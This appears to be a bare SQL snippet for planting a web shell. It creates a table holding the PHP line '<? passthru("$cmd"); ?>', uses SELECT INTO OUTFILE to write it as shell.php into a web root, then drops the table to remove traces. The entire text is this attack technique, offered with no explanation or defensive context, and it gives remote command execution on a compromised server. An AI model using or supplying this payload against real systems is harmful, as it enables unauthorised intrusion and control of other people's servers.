CREATE TABLE `shell` (s TEXT);
INSERT INTO `shell` values ('<? passthru("$cmd"); ?>');
SELECT `s` INTO OUTFILE '/home/user/www/shell.php' FROM `shell`;
DROP TABLE `shell`;